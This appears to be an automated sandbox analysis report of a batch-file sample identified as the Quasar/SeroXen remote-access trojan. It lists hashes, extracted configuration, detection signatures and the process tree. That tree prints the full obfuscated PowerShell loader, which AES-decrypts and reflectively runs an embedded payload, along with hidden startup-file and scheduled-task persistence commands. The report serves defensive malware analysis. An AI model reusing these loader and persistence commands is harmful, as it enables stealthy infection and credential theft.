Analysis
- max time kernel
150s - max time network
150s - platform
windows11-21h2_x64 - resource
win11-20260513-en - resource tags
arch:x64arch:x86image:win11-20260513-enlocale:en-usos:windows11-21h2-x64systemwindows - submitted
28/05/2026, 02:54
Static task
static1
Behavioral task
behavioral1
Sample
Uni.bat
Resource
win10ltsc2021-20260513-en
Behavioral task
behavioral2
Sample
Uni.bat
Resource
win11-20260513-en
General
- Target Uni.bat
- Size 10.1MB
- Sample260528-dd219aes7k
- SHA256 3af5f9e385e259a669eacaa2c66850b127bad6aebdf0776ee8083d1de27c557b
- MD5 3b93e29d6cf2813f5dd3c9ae380acc4f
- SHA1 98cf06eb797a3ad94dc9fb44ae758fcbab1e0c53
- SHA512 4b830a87f277816fb86de435787f7c7b6083d7bd9d8ad88f10086c9fc6a8a7c205145d7b2d23eddd91f7ef9d440684b3d3bfb96a66ca13d86dca86cef3b82a1e
- SSDEEP 49152:s6f3cj3cw0fch3L6wcNWcw0flyOoRCKzGKzXbCzsK+RXzodzXbCakBUAfVweb6TU:2
- TLSH T12BB6123E4E278D3F87BC23AC35BC0B8A79589A144376489E27A45DCE9FC770620D6C56
- MD5 SHA1 SHA512 SSDEEP TLSH
Malware Config
Extracted
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quasar
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15.5.0
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SeroXen
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127.0.0.1:1414
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43778e33-6e95-4120-85f8-de7b6beca9a7
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encryption_key
1DB1C75433B0814D6A687DC846553894FE0103F0
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install_name
$sxr-cmd.bat
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key_salt
bfeb1e56fbcd973bb219022430a57843003d5644d21e62b9d4f180e7e6c33941
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log_directory
$Sxr-logs
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reconnect_delay
3000
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startup_key
$sxr-seroxen
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subdirectory
$sxr-seroxen1
Signatures
- Quasar payload 1 IoCs
resource yara_rule behavioral2/memory/2000-44-0x000002C1D0090000-0x000002C1D03E0000-memory.dmp family_quasar - Drops startup file 5 IoCs
description ioc Process File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\$sxr-seroxen.vbs Uni.bat.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\$sxr-seroxen.vbs attrib.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\$sxr-seroxen.vbs attrib.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\$sxr-seroxen.vbs attrib.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\$sxr-seroxen.vbs attrib.exe - Executes dropped EXE 1 IoCs
pid Process 2000 Uni.bat.exe - Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
- Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
- Drops file in System32 directory 2 IoCs
description ioc Process File opened for modification C:\Windows\system32\Recovery\ReAgent.xml reagentc.exe File opened for modification C:\Windows\System32\Tasks\Microsoft\Windows\$Sxr-recovery attrib.exe - Drops file in Windows directory 8 IoCs
description ioc Process File opened for modification C:\Windows\Panther\UnattendGC\diagwrn.xml reagentc.exe File created C:\Windows\Setup\Scripts\SetupComplete.cmd Uni.bat.exe File opened for modification C:\Windows\Setup\Scripts attrib.exe File opened for modification C:\Windows\Logs\ReAgent\ReAgent.log reagentc.exe File opened for modification C:\Windows\Logs\ReAgent\ReAgent.log reagentc.exe File opened for modification C:\Windows\Panther\UnattendGC\setuperr.log reagentc.exe File opened for modification C:\Windows\Setup\Scripts\SetupComplete.cmd attrib.exe File opened for modification C:\Windows\Panther\UnattendGC\diagerr.xml reagentc.exe - System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 4 IoCs
Adversaries may check for Internet connectivity on compromised systems.
pid Process 3376 PING.EXE 1264 PING.EXE 2592 PING.EXE 848 PING.EXE - Runs net.exe
- Runs ping.exe 1 TTPs 4 IoCs
pid Process 848 PING.EXE 3376 PING.EXE 1264 PING.EXE 2592 PING.EXE - Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 4484 schtasks.exe - Suspicious behavior: EnumeratesProcesses 8 IoCs
pid Process 400 powershell.exe 400 powershell.exe 2000 Uni.bat.exe 2000 Uni.bat.exe 556 powershell.exe 556 powershell.exe 3132 SetupComplete.cmd.exe 3132 SetupComplete.cmd.exe - Suspicious use of AdjustPrivilegeToken 5 IoCs
description pid Process Token: SeDebugPrivilege 400 powershell.exe Token: SeDebugPrivilege 2000 Uni.bat.exe Token: SeTakeOwnershipPrivilege 1464 reagentc.exe Token: SeDebugPrivilege 556 powershell.exe Token: SeDebugPrivilege 3132 SetupComplete.cmd.exe - Suspicious use of SetWindowsHookEx 1 IoCs
pid Process 2000 Uni.bat.exe - Suspicious use of WriteProcessMemory 32 IoCs
description pid Process procid_target PID 3900 wrote to memory of 400 3900 cmd.exe 81 PID 400 wrote to memory of 728 400 powershell.exe 82 PID 728 wrote to memory of 2536 728 csc.exe 83 PID 3900 wrote to memory of 3376 3900 cmd.exe 84 PID 3900 wrote to memory of 1264 3900 cmd.exe 85 PID 3900 wrote to memory of 3680 3900 cmd.exe 86 PID 3680 wrote to memory of 1628 3680 net.exe 87 PID 3900 wrote to memory of 2000 3900 cmd.exe 88 PID 2000 wrote to memory of 2308 2000 Uni.bat.exe 89 PID 2000 wrote to memory of 1588 2000 Uni.bat.exe 90 PID 2000 wrote to memory of 2580 2000 Uni.bat.exe 92 PID 2000 wrote to memory of 4076 2000 Uni.bat.exe 94 PID 2000 wrote to memory of 5032 2000 Uni.bat.exe 96 PID 2000 wrote to memory of 3800 2000 Uni.bat.exe 98 PID 2000 wrote to memory of 3736 2000 Uni.bat.exe 100 PID 2000 wrote to memory of 2872 2000 Uni.bat.exe 102 PID 2000 wrote to memory of 896 2000 Uni.bat.exe 104 PID 2000 wrote to memory of 1608 2000 Uni.bat.exe 106 PID 2000 wrote to memory of 3556 2000 Uni.bat.exe 108 PID 2000 wrote to memory of 3416 2000 Uni.bat.exe 110 PID 2000 wrote to memory of 1876 2000 Uni.bat.exe 112 PID 2000 wrote to memory of 1980 2000 Uni.bat.exe 114 PID 2000 wrote to memory of 1464 2000 Uni.bat.exe 116 PID 2000 wrote to memory of 3472 2000 Uni.bat.exe 118 PID 2000 wrote to memory of 4888 2000 Uni.bat.exe 120 PID 2000 wrote to memory of 4416 2000 Uni.bat.exe 122 PID 2000 wrote to memory of 4484 2000 Uni.bat.exe 124 PID 2000 wrote to memory of 1636 2000 Uni.bat.exe 126 PID 556 wrote to memory of 2824 556 powershell.exe 130 PID 2824 wrote to memory of 3136 2824 csc.exe 131 PID 5076 wrote to memory of 4456 5076 net.exe 135 PID 3132 wrote to memory of 4108 3132 SetupComplete.cmd.exe 137 - Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
- Views/modifies file attributes 1 TTPs 16 IoCs
pid Process 3416 attrib.exe 5032 attrib.exe 1876 attrib.exe 3472 attrib.exe 4416 attrib.exe 1636 attrib.exe 4076 attrib.exe 2872 attrib.exe 896 attrib.exe 3556 attrib.exe 3800 attrib.exe 1608 attrib.exe 4888 attrib.exe 1588 attrib.exe 2580 attrib.exe 3736 attrib.exe
Processes
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Uni.bat"1⤵
- Suspicious use of WriteProcessMemory
PID:3900 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -noprofile -executionpolicy bypass -EncodedCommand dAByAHkAewBBAGQAZAAtAFQAeQBwAGUAIAAtAE4AYQBtAGUAcwBwAGEAYwBlACAAXwB1AFAAcABwAHAAVQAgAC0ATgBhAG0AZQAgAF8AcwBSAHMAQwB2AGkAIAAtAE0AZQBtAGIAZQByAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAnAFsARABsAGwASQBtAHAAbwByAHQAKAAiAGsAZQByAG4AZQBsADMAMgAuAGQAbABsACIAKQBdAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABlAHgAdABlAHIAbgAgAFMAeQBzAHQAZQBtAC4ASQBuAHQAUAB0AHIAIABHAGUAdABDAG8AbgBzAG8AbABlAFcAaQBuAGQAbwB3ACgAKQA7AFsARABsAGwASQBtAHAAbwByAHQAKAAiAHUAcwBlAHIAMwAyAC4AZABsAGwAIgApAF0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAAYgBvAG8AbAAgAFMAaABvAHcAVwBpAG4AZABvAHcAKABTAHkAcwB0AGUAbQAuAEkAbgB0AFAAdAByACAAaAAsAGkAbgB0ACAAbgApADsAJwA7ACQAXwBfAGgAPQBbAF8AdQBQAHAAcABwAFUALgBfAHMAUgBzAEMAdgBpAF0AOgA6AEcAZQB0AEMAbwBuAHMAbwBsAGUAVwBpAG4AZABvAHcAKAApADsAaQBmACgAJABuAHUAbABsACAALQBuAGUAIAAkAF8AXwBoACAALQBhAG4AZAAgACQAXwBfAGgAIAAtAG4AZQAgAFsASQBuAHQAUAB0AHIAXQA6ADoAWgBlAHIAbwApAHsAWwB2AG8AaQBkAF0AWwBfAHUAUABwAHAAcABVAC4AXwBzAFIAcwBDAHYAaQBdADoAOgBTAGgAbwB3AFcAaQBuAGQAbwB3ACgAJABfAF8AaAAsADAAKQB9AH0AYwBhAHQAYwBoAHsAfQA=2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:400 -
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\t3joqfcp\t3joqfcp.cmdline"3⤵
- Suspicious use of WriteProcessMemory
PID:728 -
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES3F75.tmp" "c:\Users\Admin\AppData\Local\Temp\t3joqfcp\CSC3EFA9886F9454D79B7222448D35E71BA.TMP"4⤵PID:2536
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C:\Windows\system32\PING.EXEping -n 14 127.0.0.12⤵
- System Network Configuration Discovery: Internet Connection Discovery
- Runs ping.exe
PID:3376
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C:\Windows\system32\PING.EXEping -n 2 127.0.0.12⤵
- System Network Configuration Discovery: Internet Connection Discovery
- Runs ping.exe
PID:1264
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C:\Windows\system32\net.exenet session2⤵
- Suspicious use of WriteProcessMemory
PID:3680 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 session3⤵PID:1628
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C:\Users\Admin\AppData\Local\Temp\Uni.bat.exe"Uni.bat.exe" -noprofile -windowstyle hidden -ep bypass -command try{Add-Type -Namespace _uJorsE -Name _VIhWvL -MemberDefinition '[DllImport("kernel32.dll")]public static extern System.IntPtr GetConsoleWindow();[DllImport("user32.dll")]public static extern bool ShowWindow(System.IntPtr h,int n);' -ErrorAction SilentlyContinue;$__h=[_uJorsE._VIhWvL]::GetConsoleWindow();if($__h -ne [IntPtr]::Zero){[void][_uJorsE._VIhWvL]::ShowWindow($__h,0)}}catch{};$uIEgt = [System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\Uni.bat').Split([Environment]::NewLine);foreach ($WXYbx in $uIEgt) { if ($WXYbx.StartsWith(':: ')) { $Xmaik = $WXYbx.Substring(3); break; }; };$CjCkr = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($Xmaik);$VaYqP = New-Object System.Security.Cryptography.AesManaged;$VaYqP.Mode = [System.Security.Cryptography.CipherMode]::CBC;$VaYqP.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$VaYqP.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('MTSY1UPvMm0w/qUN7w9dICZ8uUJg6r4+mRB4pwDWZQU=');$VaYqP.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('gBf+QrLij3B4KrBWAYWMOA==');$btqsa = $VaYqP.CreateDecryptor();$CjCkr = $btqsa.TransformFinalBlock($CjCkr, 0, $CjCkr.Length);$btqsa.Dispose();$VaYqP.Dispose();$oAmpW = New-Object System.IO.MemoryStream(, $CjCkr);$OMmGs = New-Object System.IO.MemoryStream;$dKvjz = New-Object System.IO.Compression.GZipStream($oAmpW, [IO.Compression.CompressionMode]::Decompress);$dKvjz.CopyTo($OMmGs);$dKvjz.Dispose();$oAmpW.Dispose();$OMmGs.Dispose();$CjCkr = $OMmGs.ToArray();$nxurD = [System.Reflection.Assembly]::('daoL'[-1..-4] -join '')($CjCkr);$Okseb = $nxurD.EntryPoint;$Okseb.Invoke($null, (, [string[]] ('')))2⤵
- Drops startup file
- Executes dropped EXE
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2000 -
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\zpk0zj0p\zpk0zj0p.cmdline"3⤵PID:2308
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C:\Windows\system32\attrib.exe"C:\Windows\system32\attrib.exe" +H +S "C:\Users\Admin\AppData\Roaming\$sxr-seroxen1"3⤵
- Views/modifies file attributes
PID:1588
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C:\Windows\system32\attrib.exe"C:\Windows\system32\attrib.exe" +H +S "C:\Users\Admin\AppData\Roaming\$sxr-seroxen1\$sxr-cmd.bat"3⤵
- Views/modifies file attributes
PID:2580
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C:\Windows\system32\attrib.exe"C:\Windows\system32\attrib.exe" +H +S "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\$sxr-seroxen.vbs"3⤵
- Drops startup file
- Views/modifies file attributes
PID:4076
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C:\Windows\system32\attrib.exe"C:\Windows\system32\attrib.exe" +H +S "C:\Users\Admin\AppData\Roaming\$Sxr-logs"3⤵
- Views/modifies file attributes
PID:5032
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C:\Windows\system32\attrib.exe"C:\Windows\system32\attrib.exe" +H +S "C:\Windows\Setup\Scripts"3⤵
- Drops file in Windows directory
- Views/modifies file attributes
PID:3800
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C:\Windows\system32\attrib.exe"C:\Windows\system32\attrib.exe" +H +S "C:\Users\Admin\AppData\Roaming\$sxr-seroxen1"3⤵
- Views/modifies file attributes
PID:3736
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C:\Windows\system32\attrib.exe"C:\Windows\system32\attrib.exe" +H +S "C:\Windows\Setup\Scripts\SetupComplete.cmd"3⤵
- Drops file in Windows directory
- Views/modifies file attributes
PID:2872
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C:\Windows\system32\attrib.exe"C:\Windows\system32\attrib.exe" +H +S "C:\Users\Admin\AppData\Roaming\$sxr-seroxen1\$sxr-cmd.bat"3⤵
- Views/modifies file attributes
PID:896
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C:\Windows\system32\attrib.exe"C:\Windows\system32\attrib.exe" +H +S "F:\Windows\Setup\Scripts"3⤵
- Views/modifies file attributes
PID:1608
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C:\Windows\system32\attrib.exe"C:\Windows\system32\attrib.exe" +H +S "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\$sxr-seroxen.vbs"3⤵
- Drops startup file
- Views/modifies file attributes
PID:3556
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C:\Windows\system32\attrib.exe"C:\Windows\system32\attrib.exe" +H +S "F:\Windows\Setup\Scripts\SetupComplete.cmd"3⤵
- Views/modifies file attributes
PID:3416
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C:\Windows\system32\attrib.exe"C:\Windows\system32\attrib.exe" +H +S "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\$sxr-seroxen.vbs"3⤵
- Drops startup file
- Views/modifies file attributes
PID:1876
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C:\Windows\system32\reagentc.exe"C:\Windows\system32\reagentc.exe" /info3⤵
- Drops file in Windows directory
PID:1980
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C:\Windows\system32\reagentc.exe"C:\Windows\system32\reagentc.exe" /enable3⤵
- Drops file in System32 directory
- Drops file in Windows directory
- Suspicious use of AdjustPrivilegeToken
PID:1464
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C:\Windows\system32\attrib.exe"C:\Windows\system32\attrib.exe" +H +S "C:\Users\Admin\AppData\Roaming\$Sxr-logs"3⤵
- Views/modifies file attributes
PID:3472
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C:\Windows\system32\attrib.exe"C:\Windows\system32\attrib.exe" +H +S "C:\Users\Admin\AppData\Roaming\$sxr-seroxen1"3⤵
- Views/modifies file attributes
PID:4888
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C:\Windows\system32\attrib.exe"C:\Windows\system32\attrib.exe" +H +S "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\$sxr-seroxen.vbs"3⤵
- Drops startup file
- Views/modifies file attributes
PID:4416
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C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /Create /TN "Microsoft\Windows\$Sxr-recovery\ResetNotify" /TR "C:\Recovery\OEM\$Sxr-reset\SetupComplete.cmd" /SC ONLOGON /RL HIGHEST /F3⤵
- Scheduled Task/Job: Scheduled Task
PID:4484
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C:\Windows\system32\attrib.exe"C:\Windows\system32\attrib.exe" +H +S "C:\Windows\System32\Tasks\Microsoft\Windows\$Sxr-recovery"3⤵
- Drops file in System32 directory
- Views/modifies file attributes
PID:1636
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -noprofile -executionpolicy bypass -EncodedCommand dAByAHkAewBBAGQAZAAtAFQAeQBwAGUAIAAtAE4AYQBtAGUAcwBwAGEAYwBlACAAXwB1AFAAcABwAHAAVQAgAC0ATgBhAG0AZQAgAF8AcwBSAHMAQwB2AGkAIAAtAE0AZQBtAGIAZQByAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAnAFsARABsAGwASQBtAHAAbwByAHQAKAAiAGsAZQByAG4AZQBsADMAMgAuAGQAbABsACIAKQBdAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABlAHgAdABlAHIAbgAgAFMAeQBzAHQAZQBtAC4ASQBuAHQAUAB0AHIAIABHAGUAdABDAG8AbgBzAG8AbABlAFcAaQBuAGQAbwB3ACgAKQA7AFsARABsAGwASQBtAHAAbwByAHQAKAAiAHUAcwBlAHIAMwAyAC4AZABsAGwAIgApAF0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAAYgBvAG8AbAAgAFMAaABvAHcAVwBpAG4AZABvAHcAKABTAHkAcwB0AGUAbQAuAEkAbgB0AFAAdAByACAAaAAsAGkAbgB0ACAAbgApADsAJwA7ACQAXwBfAGgAPQBbAF8AdQBQAHAAcABwAFUALgBfAHMAUgBzAEMAdgBpAF0AOgA6AEcAZQB0AEMAbwBuAHMAbwBsAGUAVwBpAG4AZABvAHcAKAApADsAaQBmACgAJABuAHUAbABsACAALQBuAGUAIAAkAF8AXwBoACAALQBhAG4AZAAgACQAXwBfAGgAIAAtAG4AZQAgAFsASQBuAHQAUAB0AHIAXQA6ADoAWgBlAHIAbwApAHsAWwB2AG8AaQBkAF0AWwBfAHUAUABwAHAAcABVAC4AXwBzAFIAcwBDAHYAaQBdADoAOgBTAGgAbwB3AFcAaQBuAGQAbwB3ACgAJABfAF8AaAAsADAAKQB9AH0AYwBhAHQAYwBoAHsAfQA=1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:556 -
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\14f0nolz\14f0nolz.cmdline"2⤵
- Suspicious use of WriteProcessMemory
PID:2824 -
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES9F58.tmp" "c:\Users\Admin\AppData\Local\Temp\14f0nolz\CSCB82169074654D9DB7558BD604BC111.TMP"3⤵PID:3136
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C:\Windows\system32\PING.EXEping -n 14 127.0.0.11⤵
- System Network Configuration Discovery: Internet Connection Discovery
- Runs ping.exe
PID:2592
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C:\Windows\system32\PING.EXEping -n 2 127.0.0.11⤵
- System Network Configuration Discovery: Internet Connection Discovery
- Runs ping.exe
PID:848
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C:\Windows\system32\net.exenet session1⤵
- Suspicious use of WriteProcessMemory
PID:5076 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 session2⤵PID:4456
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C:\Recovery\OEM\$Sxr-reset\SetupComplete.cmd.exe"SetupComplete.cmd.exe" -noprofile -windowstyle hidden -ep bypass -command try{Add-Type -Namespace _uJorsE -Name _VIhWvL -MemberDefinition '[DllImport("kernel32.dll")]public static extern System.IntPtr GetConsoleWindow();[DllImport("user32.dll")]public static extern bool ShowWindow(System.IntPtr h,int n);' -ErrorAction SilentlyContinue;$__h=[_uJorsE._VIhWvL]::GetConsoleWindow();if($__h -ne [IntPtr]::Zero){[void][_uJorsE._VIhWvL]::ShowWindow($__h,0)}}catch{};$uIEgt = [System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Recovery\OEM\$Sxr-reset\SetupComplete.cmd').Split([Environment]::NewLine);foreach ($WXYbx in $uIEgt) { if ($WXYbx.StartsWith(':: ')) { $Xmaik = $WXYbx.Substring(3); break; }; };$CjCkr = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($Xmaik);$VaYqP = New-Object System.Security.Cryptography.AesManaged;$VaYqP.Mode = [System.Security.Cryptography.CipherMode]::CBC;$VaYqP.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$VaYqP.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('MTSY1UPvMm0w/qUN7w9dICZ8uUJg6r4+mRB4pwDWZQU=');$VaYqP.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('gBf+QrLij3B4KrBWAYWMOA==');$btqsa = $VaYqP.CreateDecryptor();$CjCkr = $btqsa.TransformFinalBlock($CjCkr, 0, $CjCkr.Length);$btqsa.Dispose();$VaYqP.Dispose();$oAmpW = New-Object System.IO.MemoryStream(, $CjCkr);$OMmGs = New-Object System.IO.MemoryStream;$dKvjz = New-Object System.IO.Compression.GZipStream($oAmpW, [IO.Compression.CompressionMode]::Decompress);$dKvjz.CopyTo($OMmGs);$dKvjz.Dispose();$oAmpW.Dispose();$OMmGs.Dispose();$CjCkr = $OMmGs.ToArray();$nxurD = [System.Reflection.Assembly]::('daoL'[-1..-4] -join '')($CjCkr);$Okseb = $nxurD.EntryPoint;$Okseb.Invoke($null, (, [string[]] ('')))1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3132 -
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\4o4ehs0u\4o4ehs0u.cmdline"2⤵PID:4108
-
Network
MITRE ATT&CK Enterprise v16
Defense Evasion
Hide Artifacts
1Hidden Files and Directories
1Obfuscated Files or Information
1Command Obfuscation
1Credential Access
Credentials from Password Stores
1Credentials from Web Browsers
1Unsecured Credentials
1Credentials In Files
1Replay Monitor
Loading Replay Monitor...
Downloads
- Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
- Size 2KB
- SHA256 d69b7d84970cb04cd069299fd8aa9cef8394999588bead979104dc3cb743b4f2
- MD5 5f4c933102a824f41e258078e34165a7
- SHA1 d2f9e997b2465d3ae7d91dad8d99b77a2332b6ee
- SHA512 a7556b2be1a69dbc1f7ff4c1c25581a28cb885c7e1116632c535fee5facaa99067bcead8f02499980f1d999810157d0fc2f9e45c200dee7d379907ef98a6f034
- TLSH T15651CF323375B1D489163F07192C59C463BF8355FA94AF4CB698624ED92700B9F222F3
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
- Size 61KB
- SHA256 d1d8fc14707d8778da927acf9be9e9e287fc7660374eac902c10997d10f98d92
- MD5 8cc7ea2b9efa9ad5aad92da62fe2bfdf
- SHA1 1130ed4db303c31acf6549742b8ceffccbf7e863
- SHA512 294f0f73e03dc35b0c3245f7953d5bd166c27de4a4936a98b58acd721953eed32fd5574aa880ea4475755dbbeb2432f802352101de5c7c205633537ef1139037
- SSDEEP 1536:KflJd+h4iUxTYkzvHgfKQaUpeE711kDa5ljNC+jH0IMjMXYo3Xi3j39MVvjBMrxM:KflJd+qiUTYkzvHgfKQaUpeE711kDa5R
- TLSH T158538392E9204E75E2E65F3EF15622627D30394690F8113211DC25EFA9879930B1FBFE
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
- Size 1KB
- SHA256 fd949ff64bc93b6bcff447de4f7307dbd4cfb391faf81efe2a845f8349d9b10c
- MD5 8a9ce637f47cb4acdbef782b0c075292
- SHA1 61c4f0209f159fae19220a78c4428848c90d0e01
- SHA512 6452ea5fff0d3139dd61de41cb37738a228bd13f7b039aa519acb8ab5f2084c10473415f0d3631a68829e81da3dc6018e37cff3618c48ae358c9a94fa91eb122
- TLSH T1B7117A33B79CC134C8D9117A108DAD01B2B5C3CB049EDE8B7A84C508E57F58ADB641E4
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
- Size 1KB
- SHA256 92d5a76ed593d1450f8f5309d806ef2ec37be8839f1e0e20763e75180345feac
- MD5 a766b59cb8764029e0daa42ff2d21c3f
- SHA1 9ca2e4735a93ab8ddf2d8e6928f1c570aa4ff80b
- SHA512 e92fe19a450bc93cfcbaed70586d580470d239cd41997e0bdebdb45f1b6ba02604b4e839ab6ee40d5112ba683c647ecd10751183ab2f89226994e17680c52eae
- TLSH T1DA117A33B79CC135C8D9157A108DAD01B2B5C3CB049EDE8B7A84C509E57F58ADB641E4
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\14f0nolz\14f0nolz.dll
- Size 3KB
- SHA256 24f4d3f9b05328e7ca1654faacf701e5097cb37a157756abfbd9cf187ff682ce
- MD5 d6e4c75bd858106d793331e2de6c6521
- SHA1 fe970f33f89bed3d56d7a924b34b87bc9f955a76
- SHA512 08713ebfd1eaacee84732aca13627feafc9dc1c5477d8aee8c51a5d58f498d92ff224a3af3ebf9d0452c2625c14a360934aec5c5f7eba67bc98eaab8c4da58b7
- TLSH T1B151C12A53E94627E4730B30AEE343273BF4FC149F735359598042196C653649E36BB1
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\RES3F75.tmp
- Size 1KB
- SHA256 bba419bcf7bd20be34399d989b72c2d929ce7998eb8afa7e6dc3600cade37fd9
- MD5 c4fda2a60ac6e9a20fb02c71d092e9f5
- SHA1 8ebec5b2799bfc77007c40094b0d05ac308e174d
- SHA512 4d02d59111d42065c891efe4e1e894fbb4e8564711678840356a38943b151590d6c5a220aa229b9311266ce32fca3319779e883e8e93f36f5c658193d649e1cf
- TLSH T19221CC1193F9871EF0774731A9F6172BA238FD64EFA2975B8500422C1C40608EEA0FB2
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\RES9F58.tmp
- Size 1KB
- SHA256 a72ba4c5001967dd895c682198e5f6fe7c43a20a32e313a6b99cfd3d17cb7903
- MD5 0e76376db60b92eaf75f327b5cd96d06
- SHA1 6d1e111cd86742438aa0837d94bbe3a22a919a0f
- SHA512 35dd4eb9433f3461e66a70d12dcf6e2e64afddd3be3c9327c16022e42e6af585383b0d9f7788d53beeb2fffdcadbf346f140e43347f9af1c89f751dfa72d8774
- TLSH T15621890543F9471BF0B35B31A9F6171BA678FD59AF72535B858003292C41500EEA1FB2
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\SXR-debug.txt
- Size 391B
- SHA256 305df9cfe6b5a05f4e2a3008da9859734467c80c39615f7829abed2a86ee0f21
- MD5 48dceb095b1180e61ae6a4543f4d6d76
- SHA1 816527243efcd6a302e936fda1bd5b019ca31d1e
- SHA512 ca6009692e3733d6a5443fea8fb3176b8bd9820afd7a45a408bdb0b6c3af83c6d57e6694bb706b8d5ef2ea2175bf9acdafe60dfb5d506eb926c201a7843d5b54
- TLSH T1A3E022A6A3E4510AFF663957B9B26149839FF0B1CF1420E8FB482BC8780F80C92C8143
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\Uni.bat.exe
- Size 440KB
- SHA256 c7d4e119149a7150b7101a4bd9fffbf659fba76d058f7bf6cc73c99fb36e8221
- MD5 0e9ccd796e251916133392539572a374
- SHA1 eee0b7e9fdb295ea97c5f2e7c7ba3ac7f4085204
- SHA512 e15c3696e2c96874242d3b0731ce0c790387ccce9a83a19634aed4d1efef72ce8b8fa683069950d652b16cd8d5e9daae9910df6d0a75cb74fdbe90ae5186765d
- SSDEEP 6144:OuI3gVwnnSIonp/DWwO9sV1yZywi/PzNKXzJ7BapCK5d3klRzULOnWyjLsPhAQzJ:ewzIoFW2KXzJ4pdd3klnnWosPhnzq
- TLSH T191A45A876B9412D1EC3EC035D82744520721BCBED791A7EF99D8F2390E712D0993EA6B
- MD5 SHA1 SHA512 SSDEEP TLSH
